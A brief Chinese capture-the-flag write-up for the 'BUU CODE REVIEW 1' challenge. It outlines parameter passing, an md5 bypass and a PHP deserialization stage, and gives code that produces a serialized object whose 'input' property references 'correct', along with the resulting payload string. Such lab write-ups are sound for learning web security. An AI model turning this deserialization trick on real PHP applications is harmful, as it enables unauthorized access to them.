BUU CODE REVIEW 1（代码审计）

Posted 2021-03-05 wrnan

0、打开靶机后，是php源码

1、第一层是GET,POST传参
2、第二层md5绕过
3、第三层是php反序列化

<?php
class BUU{
    public $correct="";
    public $input="";
}

$obj= new BUU;
$obj->input=&$obj->correct;
echo serialize($obj);
?>

得到的字符串：

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

4、在postman,走一下。